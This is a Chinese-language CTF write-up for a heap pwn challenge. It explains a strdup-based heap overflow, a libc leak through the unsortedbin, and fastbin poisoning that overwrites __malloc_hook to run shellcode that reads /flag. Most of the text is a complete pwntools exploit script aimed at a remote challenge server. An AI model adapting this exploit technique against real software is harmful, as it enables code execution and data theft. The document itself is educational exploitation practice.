保护是全开。
开了一块空间,这块空间权限都有。
但是下面开了沙箱,ban了execve。
add
正常申请空间,写大小。
但是有个问题,我们输入要申请的空间大小之后,使用了一个strdup函数。
这个函数会根据你的字符串自动申请空间,那么就意味着我可以写0x500的大小,但是只输了一个字节。
就会造成溢出。
delete
清空了。
show
正常输出。
edit
编写。
所以我们整个看下来,存在的问题就是有堆溢出。
那么我们利用这个溢出,首先申请释放一个大的chunk,挂进unsortedbin。
然后通过溢出,将上一个chunk内容一直写到这个chunk的fd前面,然后输出的时候就可以把地址带出来。
然后我们攻击,我们通过fastbin posioning,攻击fd,先申请到0x23330000,将shellcode写进去,再攻击malloc_hook,把0x23330000写道malloc_hook就可以了。
exp
from pwn import*
context.log_level = "debug"
context.arch = "amd64"
r = remote("node4.buuoj.cn", "28994")
#r = process("./Easyheap")
libc = ELF("./64/libc-2.27.so")
#libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")
def add(size, content):
r.sendlineafter(">> :\n", "1")
r.sendlineafter("Size: \n", str(size))
r.sendlineafter("Content: \n", content)
def delete(index):
r.sendlineafter(">> :\n", "2")
r.sendlineafter("Index:\n", str(index))
def show(index):
r.sendlineafter(">> :\n", "3")
r.sendlineafter("Index:\n", str(index))
def edit(index, content):
r.sendlineafter(">> :\n", "4")
r.sendlineafter("Index:\n", str(index))
r.sendafter("Content:\n", content)
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(3,0x23330500,100)
shellcode += shellcraft.write(1,0x23330500,100)
shellcode = asm(shellcode)
add(0x500, "a" * 0x200)
add(0x500, "a" * 0x200)
add(0x500, "a" * 0x20)
add(0x500, "a" * 0x20)
add(0x500, "a" * 0x20)
#0-4
add(0x500, "a" * 0x500) #5
add(0x500, "a" * 20) #6
delete(5)
#gdb.attach(r)
edit(4, "a" * 0x30)
show(4)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
print "libc_base = " + hex(libc_base)
delete(1)
edit(0, "a" * 0x200 + p64(0) + p64(0x211) + p64(0x23330000))
add(0x500, "a" * 0x200) #1
add(0x500, shellcode.ljust(0x200, "\x90")) #7
delete(3)
edit(2, "a" * 0x20 + p64(0) + p64(0x31) + p64(malloc_hook))
add(0x500, "a" * 0x20) #1
add(0x500, "a" * 0x20) #7
edit(7, p64(0x23330000))
#gdb.attach(r)
add(0x500, "success!")
r.interactive()